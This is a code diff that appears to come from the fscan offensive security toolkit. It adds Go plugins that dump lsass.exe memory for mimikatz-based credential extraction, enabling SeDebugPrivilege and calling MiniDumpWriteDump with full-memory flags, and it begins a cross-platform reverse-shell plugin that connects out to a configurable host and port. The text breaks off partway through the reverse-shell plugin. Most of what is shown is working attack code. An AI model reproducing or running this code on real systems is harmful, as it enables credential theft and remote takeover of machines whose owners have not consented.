||||||
|
|
||||||
|
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
|
||||||
|
// 创建错误信息文件
|
||||||
|
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
||||||
|
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||||
|
os.WriteFile(outputPath, errorData, 0644)
|
||||||
|
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("内存转储失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取文件信息
|
||||||
|
fileInfo, err := os.Stat(outputPath)
|
||||||
|
var fileSize int64
|
||||||
|
if err == nil {
|
||||||
|
fileSize = fileInfo.Size()
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "MiniDump",
|
||||||
|
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"process_name": "lsass.exe",
|
||||||
|
"process_id": pid,
|
||||||
|
"dump_file": outputPath,
|
||||||
|
"file_size": fileSize,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取内存转储本地数据
|
||||||
|
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
data["plugin_type"] = "minidump"
|
||||||
|
data["target_process"] = "lsass.exe"
|
||||||
|
data["requires_admin"] = true
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取内存数据
|
||||||
|
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: "内存转储完成,可使用mimikatz等工具分析",
|
||||||
|
Data: data,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// isAdmin 检查是否具有管理员权限
|
||||||
|
func (p *MiniDumpPlugin) isAdmin() bool {
|
||||||
|
var sid *windows.SID
|
||||||
|
err := windows.AllocateAndInitializeSid(
|
||||||
|
&windows.SECURITY_NT_AUTHORITY,
|
||||||
|
2,
|
||||||
|
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||||
|
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||||
|
0, 0, 0, 0, 0, 0,
|
||||||
|
&sid)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer windows.FreeSid(sid)
|
||||||
|
|
||||||
|
token := windows.Token(0)
|
||||||
|
member, err := token.IsMember(sid)
|
||||||
|
return err == nil && member
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProcessManager 方法实现
|
||||||
|
|
||||||
|
// findProcess 查找进程
|
||||||
|
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
||||||
|
snapshot, err := pm.createProcessSnapshot()
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(snapshot)
|
||||||
|
|
||||||
|
return pm.findProcessInSnapshot(snapshot, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// createProcessSnapshot 创建进程快照
|
||||||
|
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||||
|
common.LogDebug("正在创建进程快照...")
|
||||||
|
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||||
|
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||||
|
lastError := windows.GetLastError()
|
||||||
|
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
|
||||||
|
}
|
||||||
|
common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle))
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// findProcessInSnapshot 在快照中查找进程
|
||||||
|
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||||
|
common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
|
||||||
|
var pe32 PROCESSENTRY32
|
||||||
|
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||||
|
|
||||||
|
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||||
|
if ret == 0 {
|
||||||
|
lastError := windows.GetLastError()
|
||||||
|
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
|
||||||
|
}
|
||||||
|
|
||||||
|
processCount := 0
|
||||||
|
for {
|
||||||
|
processCount++
|
||||||
|
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("转换进程名失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ = lstrcmpi.Call(
|
||||||
|
uintptr(unsafe.Pointer(namePtr)),
|
||||||
|
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == 0 {
|
||||||
|
common.LogSuccess(fmt.Sprintf("找到目标进程 %s,PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
|
||||||
|
return pe32.th32ProcessID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||||
|
if ret == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name))
|
||||||
|
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||||
|
}
|
||||||
|
|
||||||
|
// elevatePrivileges 提升权限
|
||||||
|
func (pm *ProcessManager) elevatePrivileges() error {
|
||||||
|
handle, err := pm.getCurrentProcess()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var token syscall.Token
|
||||||
|
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||||
|
}
|
||||||
|
defer token.Close()
|
||||||
|
|
||||||
|
var tokenPrivileges TOKEN_PRIVILEGES
|
||||||
|
|
||||||
|
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||||
|
ret, _, err := lookupPrivilegeValue.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||||
|
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("查找特权值失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tokenPrivileges.PrivilegeCount = 1
|
||||||
|
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||||
|
|
||||||
|
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||||
|
ret, _, err = adjustTokenPrivileges.Call(
|
||||||
|
uintptr(token),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// getCurrentProcess 获取当前进程句柄
|
||||||
|
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||||
|
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||||
|
handle, _, _ := proc.Call()
|
||||||
|
if handle == 0 {
|
||||||
|
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||||
|
}
|
||||||
|
return syscall.Handle(handle), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// dumpProcessWithTimeout 带超时的转储进程内存
|
||||||
|
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
||||||
|
// 创建一个channel来接收转储结果
|
||||||
|
resultChan := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
resultChan <- pm.dumpProcess(pid, outputPath)
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-resultChan:
|
||||||
|
return err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return fmt.Errorf("内存转储超时 (120秒)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// dumpProcess 转储进程内存
|
||||||
|
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||||
|
processHandle, err := pm.openProcess(pid)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(processHandle)
|
||||||
|
|
||||||
|
fileHandle, err := pm.createDumpFile(outputPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer pm.closeHandle(fileHandle)
|
||||||
|
|
||||||
|
common.LogDebug("正在调用MiniDumpWriteDump API...")
|
||||||
|
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用MiniDumpWithDataSegs获取包含数据段的转储(mimikatz兼容)
|
||||||
|
const MiniDumpWithDataSegs = 0x00000001
|
||||||
|
const MiniDumpWithFullMemory = 0x00000002
|
||||||
|
const MiniDumpWithHandleData = 0x00000004
|
||||||
|
const MiniDumpScanMemory = 0x00000010
|
||||||
|
const MiniDumpWithUnloadedModules = 0x00000020
|
||||||
|
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
||||||
|
const MiniDumpFilterModulePaths = 0x00000080
|
||||||
|
const MiniDumpWithProcessThreadData = 0x00000100
|
||||||
|
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
||||||
|
const MiniDumpWithoutOptionalData = 0x00000400
|
||||||
|
const MiniDumpWithFullMemoryInfo = 0x00000800
|
||||||
|
const MiniDumpWithThreadInfo = 0x00001000
|
||||||
|
const MiniDumpWithCodeSegs = 0x00002000
|
||||||
|
|
||||||
|
// 组合多个标志以获得mimikatz可识别的完整转储
|
||||||
|
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
||||||
|
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
||||||
|
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
||||||
|
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
|
||||||
|
|
||||||
|
ret, _, callErr := miniDumpWriteDump.Call(
|
||||||
|
processHandle,
|
||||||
|
uintptr(pid),
|
||||||
|
fileHandle,
|
||||||
|
uintptr(dumpType),
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
|
||||||
|
if ret == 0 {
|
||||||
|
// 获取更详细的错误信息
|
||||||
|
lastError := windows.GetLastError()
|
||||||
|
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
|
||||||
|
|
||||||
|
// 尝试使用较小的转储类型作为后备
|
||||||
|
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
||||||
|
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
|
||||||
|
|
||||||
|
ret, _, callErr = miniDumpWriteDump.Call(
|
||||||
|
processHandle,
|
||||||
|
uintptr(pid),
|
||||||
|
fileHandle,
|
||||||
|
uintptr(fallbackDumpType),
|
||||||
|
0, 0, 0,
|
||||||
|
)
|
||||||
|
|
||||||
|
if ret == 0 {
|
||||||
|
lastError = windows.GetLastError()
|
||||||
|
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogBase("使用后备转储类型成功创建转储文件")
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess("内存转储写入完成")
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// openProcess 打开进程
|
||||||
|
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||||
|
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
|
||||||
|
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||||
|
if handle == 0 {
|
||||||
|
lastError := windows.GetLastError()
|
||||||
|
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||||
|
}
|
||||||
|
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// createDumpFile 创建转储文件
|
||||||
|
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||||
|
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
handle, _, callErr := createFile.Call(
|
||||||
|
uintptr(unsafe.Pointer(pathPtr)),
|
||||||
|
syscall.GENERIC_WRITE,
|
||||||
|
0, 0,
|
||||||
|
syscall.CREATE_ALWAYS,
|
||||||
|
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
|
||||||
|
if handle == INVALID_HANDLE_VALUE {
|
||||||
|
lastError := windows.GetLastError()
|
||||||
|
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
|
||||||
|
return handle, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// closeHandle 关闭句柄
|
||||||
|
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||||
|
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
||||||
|
proc.Call(handle)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// 插件注册函数
|
||||||
|
func init() {
|
||||||
|
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "minidump",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "Windows进程内存转储插件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewMiniDumpPlugin()
|
||||||
|
},
|
||||||
|
))
|
||||||
|
}
|
155
Plugins/local/plugin.go
Normal file
155
Plugins/local/plugin.go
Normal file
@ -0,0 +1,155 @@
|
|||||||
|
package local
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"runtime"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BaseLocalPlugin 本地插件基础实现
|
||||||
|
type BaseLocalPlugin struct {
|
||||||
|
*base.BasePlugin
|
||||||
|
connector LocalConnector
|
||||||
|
platforms []string
|
||||||
|
requiresPrivileges bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewBaseLocalPlugin 创建基础本地插件
|
||||||
|
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
|
||||||
|
basePlugin := base.NewBasePlugin(metadata)
|
||||||
|
|
||||||
|
return &BaseLocalPlugin{
|
||||||
|
BasePlugin: basePlugin,
|
||||||
|
connector: connector,
|
||||||
|
platforms: []string{"windows", "linux", "darwin"},
|
||||||
|
requiresPrivileges: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize 初始化插件
|
||||||
|
func (p *BaseLocalPlugin) Initialize() error {
|
||||||
|
// 检查平台支持
|
||||||
|
if !p.isPlatformSupported() {
|
||||||
|
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.BasePlugin.Initialize()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 执行扫描
|
||||||
|
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
// 检查权限要求
|
||||||
|
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: errors.New("需要管理员/root权限才能执行此扫描"),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 默认本地扫描实现(子类应重写)
|
||||||
|
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: errors.New("ScanLocal方法需要在子类中实现"),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Exploit 执行利用
|
||||||
|
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||||
|
// 获取本地数据
|
||||||
|
data, err := p.GetLocalData(ctx)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("获取本地数据失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return p.ExtractData(ctx, info, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 默认获取本地数据实现(子类应重写)
|
||||||
|
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 默认数据提取实现(子类应重写)
|
||||||
|
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: false,
|
||||||
|
Error: errors.New("ExtractData方法需要在子类中实现"),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalConnector 获取本地连接器
|
||||||
|
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
|
||||||
|
return p.connector
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPlatformSupport 获取支持的平台
|
||||||
|
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
||||||
|
return p.platforms
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetPlatformSupport 设置支持的平台
|
||||||
|
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
|
||||||
|
p.platforms = platforms
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequiresPrivileges 是否需要特殊权限
|
||||||
|
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
|
||||||
|
return p.requiresPrivileges
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetRequiresPrivileges 设置是否需要特殊权限
|
||||||
|
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
|
||||||
|
p.requiresPrivileges = required
|
||||||
|
}
|
||||||
|
|
||||||
|
// isPlatformSupported 检查当前平台是否支持
|
||||||
|
func (p *BaseLocalPlugin) isPlatformSupported() bool {
|
||||||
|
currentOS := runtime.GOOS
|
||||||
|
for _, platform := range p.platforms {
|
||||||
|
if platform == currentOS {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// hasRequiredPrivileges 检查是否具有所需权限
|
||||||
|
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
|
||||||
|
if !p.requiresPrivileges {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 这里可以根据平台实现权限检查
|
||||||
|
// Windows: 检查是否为管理员
|
||||||
|
// Linux/macOS: 检查是否为root或有sudo权限
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
return isWindowsAdmin()
|
||||||
|
case "linux", "darwin":
|
||||||
|
return isUnixRoot()
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 平台特定的权限检查函数
|
||||||
|
func isWindowsAdmin() bool {
|
||||||
|
// 这里可以调用Windows API检查管理员权限
|
||||||
|
// 简化实现,实际应该使用Windows API
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func isUnixRoot() bool {
|
||||||
|
// 检查是否为root用户
|
||||||
|
return false
|
||||||
|
}
|
332
Plugins/local/reverseshell/plugin.go
Normal file
332
Plugins/local/reverseshell/plugin.go
Normal file
@ -0,0 +1,332 @@
|
|||||||
|
package reverseshell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ReverseShellPlugin 反弹Shell插件
|
||||||
|
type ReverseShellPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *ReverseShellConnector
|
||||||
|
target string // 目标地址:端口
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReverseShellConnector 反弹Shell连接器
|
||||||
|
type ReverseShellConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
host string
|
||||||
|
port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReverseShellConnection 反弹Shell连接对象
|
||||||
|
type ReverseShellConnection struct {
|
||||||
|
*local.LocalConnection
|
||||||
|
Target string
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewReverseShellPlugin 创建反弹Shell插件
|
||||||
|
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||||
|
// 从全局参数获取反弹Shell目标
|
||||||
|
target := common.ReverseShellTarget
|
||||||
|
if target == "" {
|
||||||
|
// 如果没有指定目标,使用默认值
|
||||||
|
target = "127.0.0.1:4444"
|
||||||
|
}
|
||||||
|
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "reverseshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewReverseShellConnector(target)
|
||||||
|
plugin := &ReverseShellPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
target: target,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewReverseShellConnector 创建反弹Shell连接器
|
||||||
|
func NewReverseShellConnector(target string) *ReverseShellConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
host, portStr, err := net.SplitHostPort(target)
|
||||||
|
if err != nil {
|
||||||
|
host = target
|
||||||
|
portStr = "4444" // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
port, err := strconv.Atoi(portStr)
|
||||||
|
if err != nil {
|
||||||
|
port = 4444 // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
return &ReverseShellConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立反弹Shell连接
|
||||||
|
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 先建立基础本地连接
|
||||||
|
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
baseConn := localConn.(*local.LocalConnection)
|
||||||
|
|
||||||
|
// 跳过连通性测试,避免抢占反弹shell连接通道
|
||||||
|
// 反弹shell会在实际使用时进行连接,这里不需要预先测试
|
||||||
|
|
||||||
|
reverseShellConn := &ReverseShellConnection{
|
||||||
|
LocalConnection: baseConn,
|
||||||
|
Target: fmt.Sprintf("%s:%d", c.host, c.port),
|
||||||
|
Host: c.host,
|
||||||
|
Port: c.port,
|
||||||
|
}
|
||||||
|
|
||||||
|
return reverseShellConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭反弹Shell连接
|
||||||
|
func (c *ReverseShellConnector) Close(conn interface{}) error {
|
||||||
|
return c.BaseLocalConnector.Close(conn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
|
||||||
|
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("启动Go原生反弹Shell...")
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
|
||||||
|
reverseShellConn := conn.(*ReverseShellConnection)
|
||||||
|
|
||||||
|
// 启动反弹shell
|
||||||
|
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
|
||||||
|
|
||||||
|
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||||||
|
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
